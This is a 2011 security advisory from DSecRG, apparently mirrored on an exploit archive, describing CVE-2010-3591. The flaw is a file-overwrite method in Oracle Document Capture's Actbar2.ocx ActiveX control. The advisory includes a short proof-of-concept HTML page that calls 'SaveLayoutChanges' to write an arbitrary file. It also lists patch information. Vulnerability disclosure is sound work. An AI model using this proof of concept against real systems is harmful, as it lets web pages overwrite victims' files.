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Oracle Document Capture Actbar2.ocx Insecure Method

Oracle Document Capture Actbar2.ocx Insecure Method
Posted Jan 25, 2011
Authored by Sh2kerr, Dmitriy Evdokimov | Site dsecrg.com

Oracle Document Capture suffers from an insecure method vulnerability in Actbar2.ocx.

tags | exploit
advisories | CVE-2010-3591
MD5 | ba1d122785f4d5dce748d6655bb4d13f

Oracle Document Capture Actbar2.ocx Insecure Method

Change Mirror Download
ActiveX components contain insecure methods.

Digital Security Research Group [DSecRG] Advisory #DSECRG-00153



Application: Oracle Document Capture
Versions Affected: Release 10gR3
Vendor URL: www.oracle.com
Bugs: insecure method, File overwriting
Exploits: YES
Reported: 22.03.2010
Vendor response: 31.03.2010
Date of Public Advisory:24.01.2011
CVE-number: CVE-2010-3591
Author: Evdokimov Dmitriy from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
***********

Oracle Document Capture contains ActiveX components that contains insecure methods.

Insecure method in Actbar2.ocx


Details
*******

Oracle Document Capture contains ActiveX component ActiveBar2Library (Actbar2.ocx) Lib GUID: {4932CEF1-2CAA-11D2-A165-0060081C43D9}

which is contains insecure method "SaveLayoutChanges" that can overwrite any unhidden file in system.

Class ActiveBar2
GUID: {4932CEF4-2CAA-11D2-A165-0060081C43D9}
Number of Interfaces: 1
Default Interface: IActiveBar2
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False



Exploit
*******

Attacker can construct html page which call vulnerable function "SaveLayoutChanges" from ActiveX component Actbar2.ocx

Example:

<HTML>
<HEAD>
<TITLE>DSecRG</TITLE>
</HEAD>
<BODY>

<OBJECT id='eds' classid='clsid:4932CEF4-2CAA-11D2-A165-0060081C43D9'></OBJECT>

<SCRIPT>

function Exploit(){
eds.SaveLayoutChanges("C:\\31337.txt",1);
}
Exploit();

</SCRIPT>
</BODY>
</HTML>



References
**********

http://dsecrg.com/pages/vul/show.php?id=304
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html




Fix Information
*************

Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from:

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html


About
*****

Digital Security:

Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com





Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
______________________
DIGITAL SECURITY
phone: +7 812 703 1547
+7 812 430 9130
e-mail: a.polyakov@dsec.ru

www.dsec.ru
www.dsecrg.com www.dsecrg.ru
www.erpscan.com www.erpscan.ru
www.pcidssru.com www.pcidss.ru


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